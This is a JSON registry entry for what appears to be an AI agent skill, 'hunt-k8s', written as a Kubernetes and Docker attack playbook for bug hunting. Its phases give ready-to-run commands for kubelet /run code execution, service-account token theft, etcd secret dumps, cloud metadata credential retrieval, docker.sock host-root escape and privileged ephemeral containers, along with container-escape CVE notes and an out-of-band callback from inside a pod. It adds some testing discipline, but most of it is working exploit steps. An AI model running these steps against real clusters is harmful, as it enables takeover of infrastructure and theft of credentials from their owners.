{"id":"hunt-k8s","name":"hunt-k8s","summary":"Hunt Kubernetes & Docker — API 匿名アクセス、kubelet 10250 exec(SPDY/WebSocket、単なるPOSTではありません)、よりシンプルな/run primitive、etcd 2379 unauth、dashboard skip-login、RBAC miscon…","body":"# HUNT-K8S — Kubernetes & Docker Security\n\n## Crown Jewel Targets\n\nK8s API anonymous cluster-admin = full cluster control. docker.sock + RCE = host root. A single privileged-pod create or a kubelet `/run` shell pivots one finding to total compromise.\n\n**Highest-value findings:**\n- **K8s API anonymous cluster-admin** — `system:anonymous`/`system:unauthenticated` bound to a powerful role (classic misconfig: `system:anonymous` in a `ClusterRoleBinding` to `cluster-admin`) → full `kubectl`. Mere anonymous `200` is NOT this (see false-positive section).\n- **Kubelet `10250` exec/run** — `/run` returns command output directly; `/exec` is a SPDY/WebSocket stream (see Phase 3). Either → RCE in any pod → steal that pod's SA token.\n- **API-server-mediated kubelet RCE** — `/api/v1/nodes/<node>/proxy/run/...` reaches the kubelet *through* the API server using your (low-priv) token; if RBAC grants `nodes/proxy`, you get pod RCE without touching 10250 directly. Primary 2024-2026 vector.\n- **etcd `2379` unauth** — every Secret (SA tokens, TLS keys, app creds) stored, often plaintext (unless `EncryptionConfiguration` is set) → full credential dump.\n- **docker.sock exposure** — SSRF/LFI/RCE reaching `/var/run/docker.sock` → create `--privileged` container, bind-mount host `/` → host root.\n- **Container escape via runc** — Leaky Vessels (CVE-2024-21626): `WORKDIR`/`process.cwd` pointing at a leaked `/proc/self/fd/<n>` host FD → break out of an attacker-controlled image/exec to host root.\n- **SA token abuse** — auto-mounted token at `/var/run/secrets/kubernetes.io/serviceaccount/token`; check its real grants with SelfSubjectRulesReview before claiming impact.\n- **K8s Dashboard skip-login / token-less API** — full cluster management UI reachable unauthenticated.\n\n---\n\n## OOB / Confirmation Gate (Read First)\n\nK8s findings are RCE/credential-disclosure class. House rule: **prove state change or data read, never infer from a status code.**\n\n- A `200` on `/api/v1/namespaces` does **not** mean cluster-admin. The API server returns `200` with an RBAC-filtered (often empty `items: []`) list to *any* principal that can reach `list namespaces` — anonymous read on a few resources is common and low-impact. Confirm real privilege with **SelfSubjectRulesReview / SelfSubjectAccessReview**, then by actually reading a Secret value.\n- **10255 (read-only) vs 10250 (exec)** are constantly conflated. 10255 (HTTP, no auth) is info-disclosure only — it has `/pods`, `/stats`, `/metrics`, NO exec/run. 10250 (HTTPS) is where `/run` and `/exec` live. Do not report \"kubelet RCE\" off a 10255 hit.\n- **Blind/outbound vectors need OOB.** If you exploit SSRF→IMDS→K8s, or a pod's egress, confirm the outbound hop with a Burp Collaborator / interactsh subdomain (e.g. `curl http://<token>.<collab>` from inside the pod via `/run`). A delayed response or an echoed URL is NOT proof.\n- **Impact proof = the artifact.** For exec: the literal `id`/`hostname` output. For etcd/Secret: the decoded token bytes (redact in report). For docker.sock escape: the host file content (`/etc/hostname` of the node, distinct from the container's).\n- Use a **dedicated test namespace / test pod** when you have create rights; never exec into production workloads to \"prove\" RCE — list the pod and exec a read-only `id` in a pod you spun up if policy allows, or limit to a single non-destructive `id` and stop.\n\n---\n\n## Phase 1 — Fingerprint & Port Discovery\n\n```bash\n# Common Kubernetes / container ports\nPORTS=\"443,6443,8443,8080,10250,10255,10256,2379,2380,4194,9090,9100,30000-30010\"\nnmap -sV -p $PORTS $TARGET 2>/dev/null | grep open\n\n# API server fingerprint — the /version endpoint is anonymous on most clusters\ncurl -sk \"https://$TARGET:6443/version\"        # {\"major\":\"1\",\"minor\":\"29\",\"gitVersion\":\"v1.29.x\"...}\ncurl -sk \"https://$TARGET:6443/api\"             # APIVersions list, even pre-auth\ncurl -sk \"https://$TARGET:6443/healthz\"\n\n# Cloud metadata pivot (reach K8s SA / node creds from an SSRF foothold)\ncurl -s \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\" # AWS EKS (IMDSv1)\nTOK=$(curl -s -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 60\") # IMDSv2\ncurl -s -H \"X-aws-ec2-metadata-token: $TOK\" \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\ncurl -s \"http://169.254.169.254/metadata/instance?api-version=2021-02-01\" -H \"Metadata: true\"      # Azure AKS\ncurl -s \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token\" -H \"Metadata-Flavor: Google\" # GKE\n```\nNote the `gitVersion` — it gates every CVE below.\n\n---\n\n## Phase 2 — Kubernetes API Anonymous / Low-Priv Access\n\n```bash\nSRV=\"https://$TARGET:6443\"\n\n# 1. What am I? (anonymous → \"system:anonymous\")\ncurl -sk \"$SRV/apis/authentication.k8s.io/v1/selfsubjectreviews\" -X POST \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"apiVersion\":\"authentication.k8s.io/v1\",\"kind\":\"SelfSubjectReview\"}'\n\n# 2. What can I actually DO? (the only honest privilege check)\ncurl -sk \"$SRV/apis/authorization.k8s.io/v1/selfsubjectrulesreviews\" -X POST \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"namespace\":\"default\"}}'\n\n# 3. Targeted access check for the crown-jewel verbs\nfor R in secrets pods nodes/proxy pods/exec; do\n  curl -sk \"$SRV/apis/authorization.k8s.io/v1/selfsubjectaccessreviews\" -X POST \\\n   -H 'Content-Type: application/json' \\\n   -d \"{\\\"kind\\\":\\\"SelfSubjectAccessReview\\\",\\\"apiVersion\\\":\\\"authorization.k8s.io/v1\\\",\\\"spec\\\":{\\\"resourceAttributes\\\":{\\\"verb\\\":\\\"create\\\",\\\"resource\\\":\\\"${R%%/*}\\\",\\\"subresource\\\":\\\"${R#*/}\\\"}}}\" \\\n   | grep -o '\"allowed\":[a-z]*' | sed \"s#^#$R #\"\ndone\n\n# 4. Only if access review says allowed — read a real Secret to prove impact\ncurl -sk \"$SRV/api/v1/secrets\" | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get(\"items\",[])),\"secrets\")'\n# decode one value (redact before reporting):\n# echo '<base64>' | base64 -d\n```\n\n**CVE-2018-1002105** (`gitVersion` < v1.10.11/1.11.5/1.12.3): API-server proxy upgrade flaw lets an unauthenticated/low-priv user escalate to backend (kubelet/aggregated-API) requests with API-server identity → cluster-admin. Fingerprint `gitVersion` in Phase 1; if vulnerable this is the single highest-impact finding.\n\n---\n\n## Phase 3 — Kubelet (Port 10250) — `/run` First, `/exec` Done Right\n\nThe earlier version of this skill sent `/exec` as a plain `POST` and expected `id` output back. **That is wrong.** `/exec` is a SPDY/WebSocket *streaming* endpoint: a plain POST returns a **302 redirect to a stream location** (e.g. `/cri/exec/<token>`) that you then must read with a SPDY/WebSocket client. An operator who runs the old curl sees nothing and wrongly concludes the kubelet is patched.\n\n```bash\nSRV=\"https://$TARGET:10250\"\n\n# Enumerate pods (auth varies; many kubelets allow anonymous read here)\ncurl -sk \"$SRV/pods\" | python3 -m json.tool 2>/dev/null \\\n  | grep -E '\"namespace\"|\"name\"|\"containerName\"' | head -40\n\nNS=default; POD=target-pod; CTR=app\n\n# --- PRIMITIVE A: /run — returns command output DIRECTLY (no stream handling) ---\n# This is the simple correct primitive. Use this first.\ncurl -sk -X POST \"$SRV/run/$NS/$POD/$CTR\" -d \"cmd=id\"\ncurl -sk -X POST \"$SRV/run/$NS/$POD/$CTR\" -d \"cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token\"\n\n# --- PRIMITIVE B: /exec — SPDY/WebSocket stream, NOT a plain POST ---\n# Option 1: kubeletctl handles the stream transport for you (recommended)\n#   kubeletctl --server $TARGET exec \"id\" -p $POD -c $CTR -n $NS\n#   kubeletctl --server $TARGET scan rce         # finds every exec-able pod\n# Option 2: raw — the POST returns a 302 to a stream path; -v to see Location, then\n#   read it with a SPDY3.1/WebSocket client (wscat / websocat), e.g.:\n#   curl -sk -i -X POST \"$SRV/exec/$NS/$POD/$CTR?command=id&input=1&output=1&tty=0\"   # shows 302 Location\n#   websocat -k \"wss://$TARGET:10250/cri/exec/<token-from-Location>\"\n\n# Container logs (read-only, no stream)\ncurl -sk \"$SRV/containerLogs/$NS/$POD/$CTR\"\n\n# Read-only kubelet 10255 — INFO DISCLOSURE ONLY, no exec/run. Do not call this \"RCE\".\ncurl -s \"http://$TARGET:10255/pods\" | python3 -m json.tool 2>/dev/null | head\ncurl -s \"http://$TARGET:10255/metrics\" | head\n```\n\n**CVE-2020-8558** (host-network trust): on affected kube-proxy, services bound to the node's `127.0.0.1` (incl. the read-only kubelet and other localhost-only services) become reachable from other pods/adjacent hosts via the node IP, defeating the localhost trust boundary — a lateral path to kubelet/etcd that were assumed loopback-only.\n\n---\n\n## Phase 4 — API-Server-Mediated Kubelet RCE (`nodes/proxy`)\n\nWhen 10250 is firewalled but you hold a token (even a low-priv pod SA) with `nodes/proxy`, route exec **through the API server**:\n\n```bash\nSRV=\"https://$TARGET:6443\"; H=\"-H \\\"Authorization: Bearer $TOKEN\\\"\"\nNODE=$(curl -sk -H \"Authorization: Bearer $TOKEN\" \"$SRV/api/v1/nodes\" | grep -o '\"name\":\"[^\"]*\"' | head -1 | cut -d'\"' -f4)\n\n# /run via the node proxy → output comes straight back\ncurl -sk -X POST -H \"Authorization: Bearer $TOKEN\" \\\n  \"$SRV/api/v1/nodes/$NODE/proxy/run/$NS/$POD/$CTR\" -d \"cmd=id\"\n\n# enumerate every pod on a node via the proxy\ncurl -sk -H \"Authorization: Bearer $TOKEN\" \"$SRV/api/v1/nodes/$NODE/proxy/pods\"\n```\n`nodes/proxy` in any bound role is effectively node-wide RCE. **CVE-2022-3294** (kube-apiserver node-address validation): an authenticated user could redirect the API server's proxy connection to an arbitrary host/IP it could reach (proxy-to-internal SSRF / node impersonation) — relevant whenever you can influence node addresses or use the proxy subresource.\n\n---\n\n## Phase 5 — etcd Unauth (Port 2379)\n\n```bash\n# etcd holds ALL cluster state. Secrets are plaintext UNLESS EncryptionConfiguration is set.\nETCDCTL_API=3 etcdctl --endpoints=http://$TARGET:2379 get / --prefix --keys-only 2>/dev/null | head -50\nETCDCTL_API=3 etcdctl --endpoints=http://$TARGET:2379 \\\n  get /registry/secrets --prefix 2>/dev/null | strings | grep -Ei 'token|password|tls.key|dockerconfig' | head -40\n\n# HTTP/JSON gateway (key/range are base64; \"Lw==\" == \"/\")\ncurl -s \"http://$TARGET:2379/v3/kv/range\" -H 'Content-Type: application/json' \\\n  -d '{\"key\":\"L3JlZ2lzdHJ5L3NlY3JldHM=\",\"range_end\":\"L3JlZ2lzdHJ5L3NlY3JldHQ=\",\"limit\":20}' | python3 -m json.tool\n\n# v2 (older clusters)\ncurl -s \"http://$TARGET:2379/v2/keys/?recursive=true\" | python3 -m json.tool 2>/dev/null | head\n```\nA recovered SA token from etcd → replay against the API server (Phase 6) to confirm grants. **False positive:** a `200` from etcd peer port `2380` or a TLS-required port returning a handshake error is not unauth client access — only a successful `range`/`get` with key data is.\n\n---\n\n## Phase 6 — Service Account Token Abuse (Bound / Projected Tokens)\n\n```bash\n# From RCE/LFI inside a pod:\nTOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)\nNS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)\nAPI=\"https://kubernetes.default.svc\"\n\n# Modern tokens are BOUND (projected): they have an audience + short expiry. DECODE before claiming reuse.\necho \"$TOKEN\" | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null | python3 -m json.tool\n# Look at: \"aud\" (must match the API server audience to be accepted),\n#          \"exp\" (projected tokens rotate ~1h — a captured token may already be dead),\n#          \"kubernetes.io/serviceaccount\" (pod/node binding — token dies with the pod).\n# If aud is e.g. [\"vault\"] not the api-server audience, it will NOT authenticate to the API → not cluster impact.\n\n# Honest privilege check, then prove with a real read\ncurl -sk \"$API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews\" -X POST \\\n  -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application/json' \\\n  -d \"{\\\"kind\\\":\\\"SelfSubjectRulesReview\\\",\\\"apiVersion\\\":\\\"authorization.k8s.io/v1\\\",\\\"spec\\\":{\\\"namespace\\\":\\\"$NS\\\"}}\"\ncurl -sk \"$API/api/v1/namespaces/$NS/secrets\" -H \"Authorization: Bearer $TOKEN\"\n```\n\n**EphemeralContainers node-shell escalation:** with `pods/ephemeralcontainers` (or pod `create`), attach a debug container that shares the host namespaces to escape the pod:\n```bash\nkubectl debug node/$NODE -it --image=busybox      # mounts host root at /host → chroot /host\n# or patch an ephemeral container with hostPID/privileged via the API:\ncurl -sk -X PATCH \"$API/api/v1/namespaces/$NS/pods/$POD/ephemeralcontainers\" \\\n  -H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application/strategic-merge-patch+json' \\\n  -d '{\"spec\":{\"ephemeralContainers\":[{\"name\":\"x\",\"image\":\"busybox\",\"command\":[\"sleep\",\"1d\"],\"securityContext\":{\"privileged\":true}}]}}'\n```\n\n---\n\n## Phase 7 — Docker Socket Exposure & runc Container Escape\n\n```bash\n# docker.sock reachable (SSRF unix://, LFI of socket, or RCE on host)\ncurl -s --unix-socket /var/run/docker.sock http://localhost/v1.41/info\ncurl -s --unix-socket /var/run/docker.sock http://localhost/v1.41/containers/json\n\n# Privileged container bind-mounting host root → read/write host fs (host escape)\ncurl -s --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' \\\n  -X POST http://localhost/v1.41/containers/create?name=poc \\\n  -d '{\"Image\":\"alpine\",\"Cmd\":[\"cat\",\"/host/etc/hostname\"],\"HostConfig\":{\"Binds\":[\"/:/host\"],\"Privileged\":true}}'\ncurl -s --unix-socket /var/run/docker.sock -X POST http://localhost/v1.41/containers/poc/start\ncurl -s --unix-socket /var/run/docker.sock \"http://localhost/v1.41/containers/poc/logs?stdout=1\"\n# Impact proof = the NODE's /etc/hostname (differs from the container's hostname).\n```\n\n**Container-escape CVEs (gate on runc/version):**\n- **CVE-2024-21626 — \"Leaky Vessels\" (runc ≤ 1.1.11):** a leaked host file descriptor via `/proc/self/fd/<n>` lets a malicious image (`WORKDIR /proc/self/fd/N`) or `runc exec` cwd escape to the host filesystem → host RCE. Test only with an image you control on a build/registry surface where you can influence the Dockerfile.\n- **CVE-2019-5736 (runc):** overwrite the host `/proc/self/exe` (the runc binary) from inside a container you can exec into → host root on next runc invocation. Applies to very old runc.\n- **CVE-2022-0492 (cgroups v1 `release_agent`):** a container with `CAP_SYS_ADMIN` (or able to mount cgroupfs) writes a `release_agent` that executes on the host → escape. Check container caps first.\n\n---\n\n## Phase 8 — Dashboard, Admission, Helm/Tiller Remnants\n\n```bash\n# Kubernetes Dashboard — correct API base is /api/v1/... UNDER the dashboard service.\ncurl -sk \"https://$TARGET:8443/\" | grep -i \"kubernetes dashboard\"\n# token-less probe (skip-login or anonymous-bound dashboard SA):\ncurl -sk \"https://$TARGET:8443/api/v1/secret/default\"            # secrets list view\ncurl -sk \"https://$TARGET:8443/api/v1/pod/default\"               # pods list view\ncurl -sk \"https://$TARGET:8443/api/v1/namespace\"                 # namespaces\n# (paths are <resource> not <resource>/<id>; a 200 with real items = unauth dashboard data access)\n\n# Helm 2 / Tiller remnant — gRPC on 44134, historically NO auth → full cluster as Tiller's SA\nnmap -p 44134 -sV $TARGET\n# helm --host $TARGET:44134 ls   # if it answers, Tiller is exposed → install/delete any release\n\n# Validating/Mutating admission webhooks — enumerate to find bypassable policy or SSRF-able webhook URLs\ncurl -sk \"$SRV/apis/admissionregistration.k8s.io/v1/validatingwebhookconfigurations\" -H \"Authorization: Bearer $TOKEN\"\n# A webhook clientConfig.url pointing at an external/attacker-influenced host = SSRF/bypass surface.\n```\n\n---\n\n## Chain Table\n\n| K8s finding | Chain to | Impact |\n|-------------|----------|--------|\n| API anon **with confirmed secret read** | extract SA/TLS/app creds | Full cluster compromise |\n| `nodes/proxy` token | API-server-mediated `/run` → pod RCE → SA token | Node-wide RCE → escalation |\n| Kubelet 10250 `/run` | exec in any pod → steal SA token → API | Cluster privilege escalation |\n| etcd 2379 unauth | dump all Secrets (if unencrypted) → replay token | Full credential dump |\n| docker.sock | privileged container + host bind-mount | Host root |\n| CVE-2024-21626 (runc) | malicious image/exec → host FD escape | Container → host root |\n| EphemeralContainers / pods create | privileged/hostPID debug container | Pod → node escape |\n| Projected SA token (aud matches) | API access scoped to its real RBAC | Depends on RBAC — verify first |\n| Tiller 44134 exposed | helm install as Tiller SA | Cluster-admin if Tiller is privileged |\n\n---\n\n## False-Positive Killers\n\n- **Anon `200` ≠ cluster-admin.** RBAC-filtered list returns `200`/empty `items`. Require SelfSubjectRulesReview to show the verbs, then an actual Secret value read.\n- **10255 ≠ 10250.** Read-only kubelet has no exec/run. \"Kubelet RCE\" must come from a `/run` output or a completed `/exec` stream on 10250.\n- **`/exec` plain-POST returns 302, not output.** Seeing no body is NOT \"patched\" — follow the stream (kubeletctl/websocat) before concluding either way.\n- **Projected/bound SA token may be dead or wrong-audience.** Decode `exp` and `aud`; a Vault/OIDC-audience token will not authenticate to the API server.\n- **etcd plaintext assumption.** If `EncryptionConfiguration` is enabled, Secret values in etcd are ciphertext — don't claim \"plaintext secrets\" without showing decoded bytes.\n- **Version-gated CVEs.** Confirm `gitVersion` (Phase 1) / runc version before asserting CVE-2018-1002105, -2024-21626, -2019-5736, etc. A version match is a lead; the PoC output is the proof.\n- **Dashboard `200` on the HTML shell** is just the login page; only a `200` with real resource JSON under `/api/v1/<resource>/<ns>` proves token-less data access.\n\n---\n\n## Validation Checklist\n\n- [ ] **API anon:** SelfSubjectRulesReview shows privileged verbs AND a real Secret value was read (redacted).\n- [ ] **Kubelet:** literal `id`/`hostname` output returned from 10250 `/run`, or a completed `/exec` stream — not a bare 302.\n- [ ] **nodes/proxy RCE:** command output returned through `/api/v1/nodes/<node>/proxy/run/...` with your token.\n- [ ] **etcd:** decoded Secret bytes shown (proves unencrypted + readable), not just a key listing.\n- [ ] **docker.sock / escape:** the NODE's host file content retrieved (distinct from container), or runc-escape PoC output.\n- [ ] **SA token:** `aud`/`exp` decoded and shown valid; impact bounded to its real RBAC.\n- [ ] **OOB:** any outbound/SSRF hop confirmed via Collaborator/interactsh subdomain.\n\n**Severity:**\n- API anon→secret read, kubelet/nodes-proxy RCE, etcd dump, docker.sock/runc escape, CVE-2018-1002105: **Critical**\n- Dashboard token-less data access, exposed Tiller: **High**\n- Read-only kubelet 10255, anon `/version`/`/pods` info disclosure: **Medium**","author":"@elementalsouls","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-k8s","license":"MIT","category":"devops","lang":"en","tokens":5323,"stars":0,"calls30d":2,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":["kubernetes.default.svc","metadata.google.internal"]}}